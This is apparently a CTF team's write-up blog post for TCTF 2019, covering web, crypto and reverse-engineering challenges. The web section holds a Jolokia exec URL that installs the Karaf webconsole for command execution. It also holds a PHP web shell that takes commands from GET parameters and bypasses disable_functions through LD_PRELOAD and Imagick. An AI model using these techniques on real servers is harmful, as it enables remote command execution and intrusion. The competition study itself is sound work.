N0rth3ty's Blog.

TCTF2019部分WP

字数统计: 1.7k阅读时长: 8 min
2019/04/01 Share

TCTF / RSCTF 2019 WP

Team Name : CNSS

[toc]

Web只有两道题,侥幸ak,pwn没有签到有点僵硬,放上全队的WP

Web

Ghost Pepper

抓包可以发现一个base64的字符串,解码
karaf/karaf登陆
尝试访问karaf的控制台来执行命令,但是发现没有,那我们给他装一个

1
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

安装好以后可以访问/system/console
webconsole地址在/system/console/gogo
直接用shell执行exec ls /然后exec cat /flag

Wallbreaker Easy

一个disable_function绕过
常规方法都没有用,网上搜索发现LD_PRELOAD来绕过的
但是都用都mail()函数,但是被ban了
所以我们考虑用其它函数去触发,github有现成的exp
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

最后用imagic去触发,做一点修改,fuzz发现doc可以触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
echo $cmd;
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
try{$imagick = new Imagick("/tmp/b2eba50bcc5e1fdf4fd21595bc09a837/test.doc");}
catch(Exception $a){echo $a -> getMessage();}
?>

Crypto

babyrsa

n.factor() 得到两项,均不可再约分,有 $\varphi = (2^{821} - 1) (2^{1227} - 1)$,求 $e$ 的逆元得到 $d$

zer0lfsr

每一个 LFSR 的反馈输出和最终输出都有 0.75 的相关性,可以用 Fast Correlation Attacks - Algorithm A,论文:https://link.springer.com/content/pdf/10.1007%2F978-3-642-21702-9_4.pdf

定义 LFSR 输出为 ${a_n}$,combine 输出为 ${z_n}$,combine 输出序列长为 $L$(本题为 $65536$),LFSR length 为 $n$(本题为 $48$),LFSR 的反馈函数的重量为 $t$(本题为 $2$),相关性为 $p$(本题为 $0.75$)

每一个 LFSR 的反馈函数都可以看作一个递推式,例如这道题中就有 $a_n = a_{n - x} + a_{n - y}$,
那么二次展开就有 $a_n = a_{n - x} + a_{n - y} = (a_{n - 2x} + a_{n - x - y}) + (a_{n - x - y} + a_{n - 2y}) = a_{n - 2x} + a_{n - 2y}$,依次类推可得 $a_n = a_{n - 2^kx} + a_{n - 2^ky}$,移项即有 $a_n + a_{n - 2^kx} + a_{n - 2^ky} = 0$,如果 shift m 位,即有

$$a_{n + m} + a_{n - 2^kx + m} + a_{n - 2^ky + m} = 0$$

所以对于某一位 $n_0$,对于不同 $k$ 的 $t + 1$ 个位置进行 shift,可以 shift 出 $m(n_0)$ 个等式,按理 $m(n_0)$ 个关系式都应该相等
其中对于单个等式,计算其涉及的 ${a_n}$ 项和对应 ${z_n}$ 的项异或和为 0 的概率 $s(p,t + 1)$,因为某一项相关性为 $p$,考虑第 $t + 1$ 项相等和不相等的情况,有递推式

$$s(p,t + 1)=ps(p,t) + (1 - p)(1 - s(p, t))$$

$$s(p,1)=p$$

本题可以计算出 $s=0.625$
用 ${z_n}$ 替换 ${a_n}$ 计算出 $m(n_0)$ 个等式中成立的等式数量为 $h(n_0)$,在 $m$ 个等式中有 $h$ 个等式成立的前提下,

$$p_1 = P(a_{n_0} = z_{n_0})= \binom {m}{h} s^h (1-s)^{m-h}$$

$$p_0 = P(a_{n_0} \neq z_{n_0})= \binom {m}{h} s^{m-h} (1-s)^{h}$$

所以我们枚举每一位,根据贝叶斯定理计算 $\frac{p_1} {p_0 + p_1}$,按值从大到小排序,选择值最高的 $r$ 位进行假设,建立关于 $a_{0},a_{1},\dots,a_{n-1}$ 的线性方程组(利用递推式可以推出每一位和 $a_{0},a_{1},\dots,a_{n-1}$ 的关系,以此建立方程),求解得到中间状态(如果方程组线性相关则增大 $r$ 重试),逆推回去得到初状态,生成输出序列 ${a_n}$ ,判断相关性是否大约为 $p$,如果不是则迭代修改若干位重试(本题不需要)
代码:https://gist.github.com/Chrstm/2930e09a4150893dd38f93eacb5e1391

Reverse

Fixed Point

一个类似于 CRC128 的东西,基于 GF(2),所以有性质:effect(x) = crc(msg ^ (1 << x)) ^ crc(msg) 为一个定值,因此把中间这段全弄成 0,按位 flip 计算该位对最终答案的影响,可以列出一个矩阵,结合题目所需条件建立等式:

$$f(x)=f(0) + \sum_{i=0}^{128} x_i \cdot \mbox{effect}(i)=\mbox{reverse}(x)$$

其中

$$f(x)=\mbox{CRC}(\mbox{prefix} || x || \mbox{suffix})$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from typing import List


def bit_array_to_bytes(a: List[int]) -> bytes:
n = len(a)
assert n % 8 == 0
num = int("".join(map(str, a)), 2)
num_hex = hex(num)[2:].rjust(n // 4, "0")
return bytes.fromhex(num_hex)

# dumped from memory
xor_arr = [0x0, 0x0, ..., 0x0, 0x97, 0x1, 0xa1, 0xed, 0xc6, 0xe6, 0xb2, ...]
magic_ = []
for i in range(256):
magic_.append(sum(xor_arr[16 * i + j] << (8 * j) for j in range(16)))


def crc128(text: bytes) -> int:
mask = (1 << 128) - 1
a = mask
for ch in text:
a = (a >> 8) ^ magic_[(a & 0xff) ^ ch]
return a


def check(prefix, text, suffix, n, crc_func):
indata = prefix + text + suffix
print("try:", prefix.decode() + text.hex() + suffix.decode())
outdata = hex(crc_func(indata))[2:].rjust(n // 4, "0")
outdata = bytes.fromhex(outdata)
print(">", text.hex())
print("<", outdata.hex())
print(text == outdata[::-1])


def construct(n, crc_func):
prefix = b"flag{"
suffix = b"}"
flag = prefix + b"\x00" * (n // 8) + suffix
full_zero_crc = crc_func(flag)

# calc effect[i] = the effect of i-th bit for final result (from high to low)
effect = []
bit_array = [0] * n
for i in range(n):
bit_array[i] = 1
mid = bit_array_to_bytes(bit_array)
bit_array[i] = 0
flag = prefix + mid + suffix
crc_value = crc_func(flag)
effect.append(crc_value ^ full_zero_crc)

# transpose effect -> mat
# transform crc value of full zero to bits -> b
mat = []
b = []
for i in range(n):
tmp = 0
for j in range(n):
bit = (effect[j] >> i) & 1
tmp ^= bit << (n - 1 - j)
mat.append(tmp)
b.append((full_zero_crc >> i) & 1)
# add condition: f(X) == reverse(X)
bytes_len = n // 8
for i in range(bytes_len):
i_ = bytes_len - 1 - i
for j in range(8):
mat[i_ * 8 + j] ^= 1 << (i * 8 + j)

# backup for verify
mat_, b_ = list(mat), list(b)

# solve mat * X = b
for i in range(n):
pos = n - i - 1
for j in range(i, n):
if (mat[j] >> pos) & 1:
mat[i], mat[j] = mat[j], mat[i]
b[i], b[j] = b[j], b[i]
break
for j in range(n):
if i == j:
continue
if (mat[j] >> pos) & 1:
mat[j] ^= mat[i]
b[j] ^= b[i]

# verify mat * X == b
x = int(''.join(map(str, b)), 2)
try:
for i in range(len(mat_)):
tmp = x & mat_[i]
pari = bin(tmp).count("1") % 2
assert pari == b_[i]
except AssertionError:
print("No solution")
return

check(prefix, bit_array_to_bytes(b), suffix, n, crc_func)


construct(128, crc128)

Elements

Wolfram Mathematica 数值求解:

1
NSolve[{a==62791383142154&& b>a && c>b && a+b>c&&(hc==(a+b+c)/2)&&s ==Sqrt[hc*(hc-a)*(hc-b)*(hc-c)]&&s/hc == 19400354808065.54&&a*b*c/(4*s)==47770539528274.91},{a,b,c,s,hc},Reals,WorkingPrecision->100]

得到

1
2
3
4
5
6
7
8
9
10
a -> 6.279138314215400000000000000000000000000000000000000000000000000\
000000000000000000000000000000000000*10^13,
b -> 7.0802074077033899504253780473818545299363520238991845489928183440952\
2051470259599728645439323899662*10^13,
c -> 9.5523798483319961511901068970852498291649228733435492550483982796044\
8275095167445036708077595938026*10^13,
s -> 2.2224780266394648957866060840707493872441354900251693781885721988561\
3460059135030671754457377492828*10^27,
hc -> 1.1455862785125393050807742472233552179550637448621366902020608311849\
85163282713522382676758459918844*10^14

a = 62791383142154,
b = 70802074077034,(‘0x4064e479876a’)
c = 95523798483320,(‘0x56e0de138178’)

转成hex,带入程序发现精度不足,考虑在b、c附近爆破,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 爆破脚本
import os

for x in range(0xffff):

a = '{:0>4}'.format(hex(x)[2:])
b = a[2:]
a = a[:2]
flag = 'flag{391bc2164f0a-4064e47987' + a + '-56e0de1381' + b + '}'

r = os.popen("echo " + flag + " | /root/Elements")
try:
if len(r.read()) > 0:
print(flag)
break
except:
pass
CATALOG
  1. 1. TCTF / RSCTF 2019 WP
    1. 1.1. Web
      1. 1.1.1. Ghost Pepper
      2. 1.1.2. Wallbreaker Easy
    2. 1.2. Crypto
      1. 1.2.1. babyrsa
      2. 1.2.2. zer0lfsr
    3. 1.3. Reverse
      1. 1.3.1. Fixed Point
      2. 1.3.2. Elements